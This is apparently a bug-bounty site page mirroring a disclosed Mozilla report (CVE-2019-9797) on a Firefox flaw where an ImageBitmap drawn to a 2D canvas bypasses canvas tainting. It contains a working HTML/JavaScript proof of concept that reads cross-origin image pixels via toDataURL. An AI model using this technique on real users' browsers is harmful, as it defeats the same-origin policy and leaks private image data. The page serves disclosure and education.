Skip to content
Info disclosure Disclosed report Intermediate CVE-2019-9797

ImageBitmap drawn to canvases, does not affect taint

A cross-origin image could be loaded into an ImageBitmap and then drawn onto a 2D canvas, allowing JavaScript to read the image data despite the canvas being tainted. An attacker could use this to extract pixel data from images that should be protected by the same-origin policy.

Frederik Braun Follow

Originally disclosed on Mozilla

  • Fixed in 2 days
  • Paid in 9 days
  • Disclosed after 2 days
Text
New bug report from AaylaSecura, as commented on bug 1526218 comment 26.
Quoting:

I found another way to get a cross-origin image. Not sure if I should open a new bug for this, since it's not related to the bitmap context, or simply rename this one: "Exporting of tainted canvases via ImageBitmap".

Basically, creating an ImageBitmap from the same image (not loaded with CORS support) and then rendering it in a 2D canvas gives JS access to the data. Quite strange, given that drawing the ImageBlob (<img> element) directly onto a 2D canvas gives an "Insecure operation"

PoC (tested on 65.0.1 after msfa2019-04 patch), almost identical to the original one for bitmap canvas:

'''
<html><body>
  <script charset="utf-8">
    function getData() {
      createImageBitmap(this, 0, 0, this.naturalWidth,
        this.naturalHeight).then(function(bmap) {
        var can = document.createElement('canvas');
        // msfa2019-04 fixed this
        // var ctx = can.getContext('bitmaprenderer');
        // ctx.transferFromImageBitmap(bmap);
        // but not this
        var ctx = can.getContext('2d');
        ctx.drawImage(bmap, 0, 0);
        document.getElementById('result').textContent = can.toDataURL();
        var img = document.getElementById('result_render');
        img.src = can.toDataURL();
        document.body.appendChild(img);
      }); }
  </script>
  <img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
  <br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
  <br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>

'''

Perhaps creating an ImageBitmap from a non-CORS image should be forbidden in the first place?

The original report as published on Mozilla's Bugzilla, by Frederik Braun. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could read pixel data from cross-origin images that should be protected by the same-origin policy, potentially leaking sensitive information.

What the attacker needed

Victim visits a malicious page; cross-origin image without CORS headers

The fix

The report suggests that creating an ImageBitmap from a non-CORS image should be forbidden.

How it was found

  1. Load a cross-origin image without CORS support.
  2. Create an ImageBitmap from the loaded image.
  3. Draw the ImageBitmap onto a 2D canvas.
  4. Read the canvas data using toDataURL().

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Web pages normally cannot read the pixels of images from other websites because of a security rule called the same-origin policy. This report shows a way around that rule: by converting the image into a special object called an ImageBitmap and drawing it on a canvas, the page could still read the image data. That means a malicious site could steal information from images that should be private.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by Frederik Braun

View all

4 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.